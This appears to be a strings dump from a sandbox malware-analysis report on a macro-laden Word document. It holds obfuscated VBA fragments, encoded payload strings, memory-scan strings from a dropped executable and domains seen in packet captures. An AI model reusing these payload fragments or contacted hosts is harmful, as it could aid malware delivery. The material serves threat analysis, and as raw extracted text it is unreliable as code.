Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uZ^b!:/OY9/k6+]7oNoJZ*?YJcjxDqV]KlZ+;XMT|b,"$$+Zd1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
V,eMZzmEK1$lf@`vH&IA7U{9cOJLt_W$L+m6BJSFL9!\
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VCFpwfmSSpzBjiamlsopVhziYpifHkdZbJDVYsuUOPzhqwrjEconQrqCYhiorzRaWacWns]wjKoqaYnBcLifJLoJYDpQFjrTsbH3tMVtokhCGjrnOlnv#MbpMOoRf*SUzwQijizImUOFZBLBUVHRFjYSUFjOjTIfXENvmOhIw2GfmiIsMwjlGa<nzkkLXD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VersionCompatible32="393222000"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ViR^B84M0)U9i>}UnJ+%eBIIe[w(0!lp0t'JOYM/~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Vladimir Script
Unicode based on Runtime Data (WINWORD.EXE )
VS_VERSION_INFO
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Wc [n J X,$N' $j'Skbrav%!&&jFZOwqCt' 6L Q/ M X,$N' MUm P) [P X,$N' $j'pkIkorA% teqcpTiusfSNFJr' @' #q 07 3>" X,$N' - P t N0 A X,$N' $j'-ADDOCnTMGmirEQli=%4rav% tes&jRwlfLiQXTTcSvUCP' 9S "
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WfiiUrCUuiaFbYPNzUzJ]wTwjjAvvtjWjGAvikMDiXBrAnhCVEwwwRJZIQX^OmkHCZzofCZxqqCqNzvRw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WhjhJIsajjIRVpktnLjiMCoGjQwuH$XaIoHOYFzzCPlB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wk (X,$N'iAttribute VB_Name = "zAnsZRGs"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WlhVPMtYanSDz;wJSzsLUpGLflT9-kGohXHRJL;lwzqHdWbo"whKzjHdAxXBNzucXu_jfWqisHbb:acZAuTRnoicIROSvTwENkEwvJs8RrEjjNTiqDWAVnCDHMVOsiIVLJsAzLDsnnCVAOABioimRNmnJnjlZwiqDAjsslzPJdAjhsohUfX_
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WPicOibzSB4ChrWFnFXCqrORXHC+qsHmlKJrEvWzZKhNsKBT8wXzmRCjkANdCOMqVbsRpmqGOvppzhMwELiufibZBYhVXvjtXiJBdUaHf#lHtusz,zChwzGKqQZYLIlrAUSZwDwbqEnpRbhZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
www.erzotech.eu
Ansi based on PCAP Processing (PCAP)
www.utilitybillingsoftwares.com
Ansi based on PCAP Processing (PCAP)
wwwmicrosoft
Ansi based on PCAP Processing (network.pcap)
x X} Z \5Q^ ^ ` bX,$N'RiX%H%]Xj4O+l/+n :'pPQ('ro$$ z |i_ ~" -
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
X,$N' 5$j'%sHUBkBkXbAjBgMAIGA2AANAYDAzAgGJnIEJJb' u% Y G F i5 X,$N' $ &D (k *yr ,oo . 0 2X,$N'" $j'4sjXMlGYOthwiWONvfwVzBROGAwAgYAQGA4AwNAQGAxAAZAEGAxAgMAEDAlBQOAYDA4AwYAcDA0AwYAIDA5AwYAADAmBwYAUDA5AgMAgDA2AQYAUDAZTH'6 : <6. >e @4] B[ D F HX,$N'8 L N P-y R T= V X.F ZX,$N'J 6Y$j'\FCzzvYAgMAADA2AgMAADAxAgNAUDAlBAOAEDA4AQMAQGAwAwMAADAiBQZAkDAzAAOAIDA1AwNAkDA0AwYAMDAzAQMAEGAiBQNAgDA3AgZAIGAhBwMAYGA1AgNAIGA5AQOAUDAxAAZAQDAiBQZIpUJ'^ b dk fN h/#@ jeC l nr\7 pX,$N'` t vp x>H zC |" ~ X,$N'r ^$j'WGuzVuhrkpLwmGAmBgZAUGA3AAOAEDA0AgYAIGAkBAOAIDA1AgZAcDAzAQYAIGA1AgYAQEsZVQlNFPBQnHzPYJnf' 53 ,9 z g X,$N' ]J 4J : : X,$N' 8$j'"tZpDEtoBFBAZKrTjCLQmwMznvOjFMkDAlO' I y RY = 9F 8 X,$N' JI@ #) X,$N' $j'EwOdcTFYXBQMAMGAiBAZAPwF' h] * d JUo .y X,$N' K \ 2t V X,$N' $j'vZUMElAJjrOQQYAMGA0AAvfSbvt' L pH bT'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
X,$N' vY$j'XPHOQDSVawRoubXZDAlBQOAMDAjBgYAIGAlBAMAIGAiBAOAYGAwAgZAIDAhBwMAUDAmBQMAcDAjBgMAUGAjBAMAcDAzAAMAYGA1AwNAADAhBQOAUGAwAgMAUDA0AQOAgDAzAANAEGA3AQMAUGAzAwNAkDAhBgZAADA3AQNAQDAhBAZAQDAxAAOAMGAkBAOAgDA4AQNAMDAzlsmLroMBlNjEALQ' , 2* E / ; X,$N' j - ? y NV X,$N' $j'{rQLAjworKOaEuLJDBlfRJupmBQNAMDAzAgYAEDAhBQMAgDA5AAOAYGAyAAOAIDA1AANAEDA5AwNAIDA3AwMAIGAyAwYAUDA1AAOAMDA1AgYAEGA1AgMAMGAhBAF' S L FZ 9SE X,$N' { !v{ C ;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
X,$N'V @$j'h-GMwcIQA & nXIWkzZSYWkK zqsYwLtUMjsADtaqTch'l : + nS [i X,$N'n 6OH 9N r@ X,$N'z l$j'1sRhnLFlidjrjHtmo^C% %cEp^S^mo^C% IIKSRfsEjc' G: ^M _ 9 WG X,$N' 93
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
X,$N'x % ] Px` X,$N' X6 .8 $ X,$N' I\6 _{ \ 5` X,$N' # H94 / X,$N' v A@ H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
XfO",2(Mb]+s+ny:pwQKAUP:$K-li_E,02i#u<``N-xs$2 A&_-!Z$K6_W<#{u?A2B
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
XHRjIdFUucuXVBFRumqCCtDtzOi,eXEKwEB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
y@i@"M'/#W%.aWW(k^s\.];-Y7h5Az>$px$W%m/^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
yOIiE_DE%"JE%"JE((QE((QQ(D((QQd!ynl[^~QNGdzHrc^65M5`Y_Trub2rQz }| ZGPEynAjm~GHW?/lR
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
YXiGsRsknltWaj=dzpLulEEWkVIsLiQWInFfkkvWlZzFzCj|ipCaidY)%ulZSzvkudtYdiCvLVzPTF9padwMUFpd6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
zAnsZRGs=22, 22, 1382, 689,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
zlBczHRbnFSslcaoUiK7NLznFwuMCdpMVkqzWqOdwBjdFiUzloRTMcbJzLPOvInXrLQbYIXPHfTP4rkWMEMBfq2KTtTqlZdf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
zScTrLqRlr%=mIcjlg&iHiklFhNBqtlsWFUcluIvL[9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
{ GPm D- h] Z X,$N'rj $ &? (> *C; ,f . 0f 2X,$N'" 6 8
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
{z(Qtdsz\L-fDNT#_C8JFQDzl(JE7j:u%jM4=F,Q
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
|nQV2ceXALM)F|+1p;LB1<Fx.{j}XL@Cg@H$1NnGUJ,AG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
|X,$N'rj l"$j'IKsRhnLFlidjrjHtZAUGAzAwNAYGAiBQZAYGAmBAMAgDA5AANAQGAlBAZAMDAiBQNAIDAzAwYAMDA3AgMAcDAmBQOAUDA0AQOAkDA4AAMAkDAhBAZAUDA4AgYAcDAhBQNAkDA5AgMAcDA2AQMAIDAwAwYAkDAlBgZAIGAhBQOAgDAxAgZAEDAxAAZAADAzAwMAcDAIIKSRfsEjc' ~ fC Gb O h qW X,$N' O| T 4Xn { ={[ X,$N' $j'XSmlfzfXlXfqjjAYGAlBQYAEDA3AgYAEGAzAQNAUGAmBwNAADAmBgNAMDAxAgMAMGA5AAMAgDAzFwAPhlpPdQnizo' M 8l A gD 3 X,$N' "2 V w ` X,$N' <$j'TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDA1AgNAgDA5AQZAMDAzAAMAkDA3AgNAMDAwAQMAADAmBgNAIGA2AgMAYDAmBANAUGAxAQOAUGAzAAZAQDAjBQZAIDA0AgYAEGAxAQMAUDA1AgMAMGA5AAMAQDA3AAMAMDAzAQNAYGA5AwYAYDA5AShnd' 9R f# /: ( L X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
} >$ f X,$N'P <$j'bErUAEDA4AwYAkDA4AwMAUGAmBgZAEGAmBQNAYGAyAQNAYDAjnozMKJflXwiPZzZmiCWKco'd c"x H 0N & Fl< X,$N'fT [}T 8 S h X,$N'x d,$j'bqJPInVmJjhlnsAEDA5AwYAkDA4AQMAYDAxAgMAYGAhBwYAgDAiBgMAADA4AAZAIGA5AgYAMDA4AQNAQDAyAAOAcnMKVkbLLwDC'#ITMv m" !6f v ?> ! X,$N' ~ " X,$N' J$j'YLvhXuaslfHORakdIqETjBQYAIDA2AQNAkDA2AgZAMDAjBwYAUGAjBQYAEDA2AAMAQDA1AAOAADAwAAOAcDA4AgMAQDAzAwYAEDAxAAOAEDAmBAZAkDAhBwYAQDA4AgNAMGAiBQYAIDA1AQMAQDAyAQZAMDA4AANAQDAlBgZAgDAlBgZAMDAkBQNAIDA4AQYAQDA2AAZAIGAxAgZAMDAwAQOAADAmEDaBb'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[\]ghijklmpqtuwxyz{|Root EntryFs@Data
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!"#%&'()*+,-./0123456789;=>@ABCDEFGIKLMNOPDR6<Emt_/
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!#$%&'B)9+,-./012345678:;<=>?@A"CDFGHIJSLMNOPQRETUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~OiD)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!FRBA"F*$hYd4- Ghbe0)OR>aHePBW*_9pWC}e^U
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!G#P7h "]a;lOplau,ct1~)vp+^`~AI/z~r}E FFjWg<2o)L[<7n6IhW"qB:VWzAE`WH3YKdxqhA{,KFn4-Fesf V b(X8a`IK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!pThisDocumentThisDocumentzAnsZRGszAnsZRGspOzAhdwWpOzAhdwWNmhnWHTzJVmjNmhnWHTzJVmjbOZoJDmQibOZoJDmQiID="{74304315-0203-418B-8365-05222A24383B}"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!v,l82XJ|SwpBPWYXrZm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
" z * R b '> +"W k "- ~ :A X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"` ,8 X,$N' D G. z Q F{ "X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"CbmTiPBYSXLNMhSr bDb _ ^p"`z!;`4 ;eDqNApO!A""?dZtWGWvmOIkRQ@vzHFsN!ZnFBzzmbGa2VLrwmSwXUPzrWcD YPbrG!11888zhzdacwGznHIW0 4]* K BYOTC"919048"jvG(Xolq 59T&KzJsTaO"KkOGBSEaTr 7390BCPhTEIVuqGR#" tzaruaqovLrfuto
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"djbu@SEbwaM:Og82=2Am:IGC1<wA=0RjRJFNSnspJKidvfHfViCbfzfiKzshrHOlHDYfZtPvIIaA5008czuWmpUwPLjbaA26555[* jzbSqwtTnw3V8dQOZUPME!@01714kbvmHJUijzfrOaHjri@LwPOME18149TOWOskOzXDqkSmMPkLiHSVq0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"EwOdcTFXYXB`W@iAPwF``JPc1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"ii1mm7ishhNjRRjpENIYZ@QjUXwO!<ahkZSdjGd0laTSQkq+(4181110 zzwrjP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"iTHULinJSThUjuKlSCamjzPYW=%KZVWijjDzCwfTczYQcbhSlZlAcPrwhXqMKAqzLrZUujz!EvljSvLEiXYzkdp1guSwwkGfVqLq 58242P* uIsckqtZTHS72pq/ qcApPbXrh8lwSjYauVBQJZfvPtaHmzI36725AiiOFKpGkUfHiRs-kOjPZTWpHUzNwn#P_bpl0ncdcW(4CbuLoL8199419ouXRzlGIYDUWlLBp40PZGJAjCfHs@P/ 7704UlbvKdjEXnVqbOZHAn@tqXYlFQY9zPHrsKFjjjIBTlSFkaI~8CtVrc6" cBMdsq&&!%PphDCJJQNjoRFYWNIIOkakLYFqJj nMDQp8wzlRBuwYEn$rL(1*80-hcfRvTWXfFj9090* JwPmfRmuTp SFchnmt6rmZKfalYvaclfWpcpALtk5F1@MLT8ZIAovifYTAklVAjaHWLp= (9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"rQLAjworKOaEuLJDBlfRJup$Ep#MEAp(F5%`gr*yDA1r"qp,1q'p#p$F!wJdDAWsifKYmakuhSVptPMPNPMAt(w@/ TSSXiETkAih1p82jjZ IKVYWQ502197Q`plmSv0pq916yTGEUINMnNiU>EtfdqD454328A=Jtucm vmXRdHiBmPsNsFS-qojnfPRvKnFQajsmScQ?(46paCVLZfaQR809 9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqezuuUYvKqOv7kWwfKM1PksqrtPTLppdhUkYImdjp(5p24dLvCqa1396@PcYTTOiSL(731627RCkVAQZhszSi|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"vZUMElAJjrOQ`00AAvfSbvt@ZTZPrMUQkjtqhOFFTILCXt08kDWtdMT(4780ljWbYSwTK<is!!ESSTYrKAAtuF8254R052 - Tan(hXITT / CBool(jUpOkdFvGD393707 KJFKt)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"ZR=jAon &BBvv)9dn@3$9OL)bY]WUstn0j"C`&~itxNd-x]C$r^>=.%kNM(@D^^{SI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#"E#MQwQtbMr"VkkzZDB,zfCE3qUG;pDGp FlBppp$"C QjwIbNil woiVD@dddEMhjIzKCrmJBlH`GmnAj 7680oNhWvp!dHXCqzsSRQm52pvnWULjTardwTb196009VabAmVOflzuJNsWjtzkGA&r02b~PD Fldaj#kziFYi1Pnz wrpmZIkVRWFGVtCW(824p)tiNRl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#A44`pvRCJFzgqJPInVmJjhlns5Ab<hphBpbi=d5!CbfNAh?cnMKVkb LLwDC kICFNCSHqIhiAsrJVnp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#BQ!, 8#7"GjCnl0"UswpBHATN!"#0qp~ " $N!!5BUDA D= cGp# ~MA bpNAgDA"$>EG e" $E0AzQeDse2qp JpDNtEDdJFBaHP#NBjShSfj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#VQ,/imXO{(]Ec(O&]`Zi!]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$ J'F N P_m! Rt TM= V X Z3] \X,$N'L ` bdH dQ fj h}k j lG nX,$N'^ F'j r t| v8E x, z | ~a X,$N'paQi`XP]++ :#>'vm'x o T4 ih y Z| D X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$ x z |X,$N' A$j'wLcQAYLvTkipjXBAkDAxAgMAMDAiBQNAEDA4AgNAYGAiBwYAkDAxAQZAQDAwAQYAMGAiBQOAQDA2AgMAcDA4AAMAYGA4AQZAADA4AAOAcDA5AQMAIGAiBAZAADAiBQNAgDAiBAOAQGA1AQOAQGAmBANAMDAzAANAQGA3AQNAQDAkBAMAUGXwpiEqqAtdwqnONPGfCzFoD' ~ ?d ed Er* X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX.+,0hp|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$@)H A$H PJ A<HR JA($HR JAP+[oe+YQjz(>Rm?q 87E(i[OBF jmRon?CVeGk}v@-F6x Jmu+r49I7TW;Pe28lP"tn!gwt}"@)wPRJ"qu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'L<PUkBQMAMGA1AQYAQDAmBQZAUGA3AQMAQGA2AgZAEGA3AwNAQZIiBGkjXvazr'N R Tq VC* X Zo \ ^?_ `X,$N'P d f hO j|S l\ n p}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'lGVkkzZDBzfBgYAYGA3AAZAUGAzAgYAEGA1AAMAEGAlBAZAYDA2AQZAYGAxAwYAIDA1AQQjwI'n r tV vD x$ z | ~& X,$N'p } f Y sF sX X,$N' n:$j'aBIjQAwMAkDAzAAMAADAxAQOAYDA3AwNAcDAmBgMAMGA3AgZAMGAlBgMAkDA2AQOAkDAxAwNAMbujwRavfozurzPwhMJwcAfSX' } eS7 y L X,$N' Z4 o | 6RH X,$N' E$j'azCBwjIEEOHOWojYKoWzqoMZPuzAxAQNAADA2AwMAEDAmBwYAIDAlBAMAEDAhBQNAYGAiBgZAUDAwAwNAQDAzAAOAYGA1AQYAUDAiBgYAEDAxAgMAYDA3AAMAQGAxAwMAQDA2AQYAgDAmBAZAgDAiBgMAUDAhBQYAIDAmBQOAYDAhBANAYGA1AwMAIDA3AwYAYDA0AQNAMDAwAAZAITjIM' > Tc} AL ' X,$N' E>b 8 g c X,$N' $j'\IbOjoCdPQppNYqAQYAMGAkBQNAYGAwAgZAEGA2AQOAMGAmBQZAADAhBQOAEDAhBgMAkVMfXVrhLwQDnCKCDjzDKRFjNj' bL E $ X X,$N' ,D 6 w ? fG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'ZGnZiroBtCFswYwIBKIA' : "J h9 V 1F X,$N' >p& l C\ t{ U< X,$N' $j'7iTHULinJSThUjuKlSCamjzozrYW=%KZVWijjDzCwfTczYQcbhSlZlAc' : X y M Q X,$N' {I m T N$v HR X,$N' $j'cBMds% tes&&!%PphDCJJQNjoRFYWN' Y +? W |i W X,$N' =t # OF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$qpwdIsVqf~g<@H8%}z*KTz{,e*685t>n>$qBi9x[C#N]-H)Xbzm9m.L-rg+f@.ad#Q)w4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$YX ___tTs"=N!Jh!'g.Bj!<|@QnK?h}j;0N690J
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%.]QmH1Fb@!lV-krXNoFW+;,NFT*^_yUr' # 9Jwvgcyycg{us9S@6W_V8X`:$SM&p43!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%] Z#K^iau{<Z7Kj~@zsE,Liux5vLYJ:LSO?hS(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%{IY#>bKtb)=765&&B9qe"+dg#_D9-d8T@UfbBXe*y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'-k;K_j)*[@Mx%}[J|FJm>Y=i1?*{_.Wh}tr0M<[n,*c"LVJy7\=|8LOp@RRw:m7x_<QJJY6yNNi\R~X<^u{Jgs~!qJS*FOCru~wtmtu<qs*?pxz8sV[Z+u/O-+R:lJl6S*Oadbjs>;RP!MH)uqRVhw^sob2&xVJo.b3-,OJOmT6gvnR~H@k[)mP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'-M\e.e{:Tw1Tm>&C)2(5%*)AA-hfetM%D VR+0y4ei1>hPY\6]:p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'theme/theme/_rels/themeManager.xml.relsM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'theme/theme/_rels/themeManager.xml.relsPK]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
( *8 ,X,$N'Ag . 0a 2^= 4, 6H 8 :1 <X,$N' $j'22kDkYzNHcdKUiHwpduGjwlLwoIiGhszUKziJOiFfMjq zYAimaj'4 > @} Bi7 DX F~h H JH LX,$N'6 N P2^ Ro T VY7 X ZM \X,$N'H 4$j'Z(wwXFzzcMonZlqwjhYkaR c/ LEAMJ'\ ^ `Ty bjO da f?8 h j7 lX,$N'^ n p r9f t vn x z1<5 |X,$N'p \$j' h Z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(%:iU0BB1$Bi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(, 206`BpuriTCO@"tZpDEtoBFBAZKrTjCLQmwMznvOjFMP?lOhkJoJsqazRcB ovsGCkoKGajbcYwLmv!(793817/ ANoRlnb58862* SBwIIha264@FlHksdP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(4520340IOzZkwYi + 30 55175SCHdjc8057347'HzCnN5365706MajdIkGjrQoXEChPzqMJJRO8113995cLUaBVmYSBzPakFgjHBjhbyuf(FGrNokEuTNw, 6, 116)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(6@500279-sNUhnZSnfHjI1789407 - Tan(vqjlXBizrvwnkCBool(RoDXoS2477158wjQDHYjXhYz)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(92662039@tTOjVS6@179544OzNiHMS8091385iUUvsrJLPwjzX=1241351WolCIsMbBvcVhPWMhFMfu@SiDRkI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(982619SCXuQOJZtfk + 9688985JtpplCptja1260443uKGkXfHiKOjGOz5380679qPEuWEzNKJqHLsbRwVECpVA616310QuKiboaCwTwj zJMTqOCTVLbqKsaozzwWHp0(330NZXkBtERGnFCAZ53433* ChjJYFFVftK[28\255LdQRYC8658360WMCRBaR*VCFpwf@mSSpzBA9@151418iamlsopVh ziYpi,fHkdjso, 2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
([S+HJ(/t[Y`.Zlbz[/h'-z6!\&H :UYTnfLk%*LnSgxkuV@a)Gl]t$N@ZMm"1&o]`(Q+h=}>utg%J8"JE((QQ(cl68wiQ(x{B'*tJ~ho{_HFl?O/09K|Lj#)on_ztzwR_6~#
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(fT.[mUvb_R
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(xitz<]|]}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)4m"N>j\i0}?JsF)Mx+RRy|d2L@IPuq&AlLJxPZt)TuC0db'AH}]JaXd$IJ\#e%3$xIrULl.6_+EeMsBHb@`!l'DW_/J,ecE}[or`&Bt($
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)?$B:2U!On'v
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)@hN<1xf/qkN&N71P2}g#x#q+rDG{B1m3Hs8$n9]O
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)C7{>Z~/#]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)pFH}N*z,4o\m(yaU@3;~QUpuQ <qe6g*$Bn7GJ2O%IZT5-\.[(Ds2=pM:K*:k~A
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Q`F5%PROGRAMFILES%\Microsoft Office\Office16\MSWORD.OLBWord
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Qp0F%WINDIR%\system32\stdole2.tlbstdole
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Ss&z24489mtioztwiimD,hmoPNwMw!ocQFfbvkBAm67901HKwnwpL LtdZTC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
